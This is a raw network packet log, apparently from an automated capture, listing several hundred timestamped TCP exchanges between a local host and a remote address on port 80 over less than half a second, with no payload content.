Oct 24, 2024 13:27:10.313846111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313853025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313869953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313882113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313884974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313901901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313905001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313945055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314162970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314178944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314193010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314208984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314224005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314227104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314249992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314251900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314274073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314275026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314291000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314306021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314307928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314320087 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314337969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314338923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314353943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314368963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314368963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314384937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314389944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314400911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314415932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314425945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314431906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314445972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314461946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314462900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314479113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314486980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314495087 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314507961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314510107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314526081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314539909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314543009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314557076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314572096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314580917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314590931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314598083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314604998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314613104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314620972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.314647913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.314671040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315188885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315224886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315242052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315258026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315273046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315277100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315289974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315301895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315305948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315339088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315340996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315355062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315366983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315371990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315388918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315397978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315406084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315421104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315423965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315439939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315455914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315457106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315471888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315486908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315491915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315501928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315512896 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315517902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315532923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315536022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315547943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315563917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315576077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315578938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315593958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315608978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315612078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315624952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315632105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315642118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315653086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315658092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315674067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315690041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315691948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315705061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.315732956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.315752983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.316184044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.316241026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.408293009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.408337116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.408375025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.408411026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.408444881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.408483028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.408544064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.408544064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.408544064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.408544064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.412375927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412446976 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412502050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412537098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412570953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412626028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412656069 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.412656069 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.412656069 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.412661076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412688971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.412699938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412719011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.412755013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412756920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.412791014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412827015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412879944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412915945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412949085 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412961960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.412962914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.412962914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.412962914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.412982941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.412997961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413012981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413038015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413052082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413063049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413096905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413113117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413132906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413144112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413166046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413181067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413199902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413216114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413232088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413247108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413265944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413278103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413311005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413312912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413342953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413358927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413383961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413395882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413430929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413444042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413464069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413476944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413499117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413511038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413532019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413547039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413578033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413585901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413619041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413635969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413651943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413664103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413686037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413697958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413722038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413733006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413755894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413768053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413790941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413803101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413826942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413836956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413862944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413872957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413892031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413908958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413937092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413938046 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.413973093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.413989067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414005041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414019108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414037943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414052010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414071083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414086103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414103985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414120913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414136887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414150953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414171934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414184093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414205074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414217949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414238930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414252996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414272070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414285898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414340973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414346933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414383888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414393902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414417982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414428949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414447069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414464951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414480925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414490938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414515972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414530039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414550066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414561033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414582968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414594889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414628983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414635897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414670944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414704084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414704084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414714098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414740086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414752960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414772987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414788008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414807081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414819002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414839983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414853096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414877892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414886951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414906979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414921999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414941072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414961100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.414973974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.414985895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415009022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415023088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415043116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415055990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415076017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415087938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415111065 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415126085 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415143967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415158033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415179014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415196896 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415211916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415226936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415246010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415257931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415273905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415291071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415307045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415328026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415364027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415365934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415400028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415412903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415432930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415446043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415468931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415479898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415503979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415517092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415532112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415551901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415565014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415576935 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415599108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415610075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415631056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415647030 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415664911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415674925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415699959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415709972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415733099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415749073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415766954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415779114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415801048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415812016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415841103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.415848017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.415889025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.451678038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.457808971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689249992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689312935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689349890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689387083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689452887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689487934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689495087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689495087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689495087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689495087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689524889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689532042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689559937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689572096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689595938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689604998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689630032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689640045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689666986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689673901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689702988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689722061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689738035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689744949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689773083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689785004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689815044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689826012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689861059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689872980 CEST	49730	80	192.168.2.4	109.107.157.208
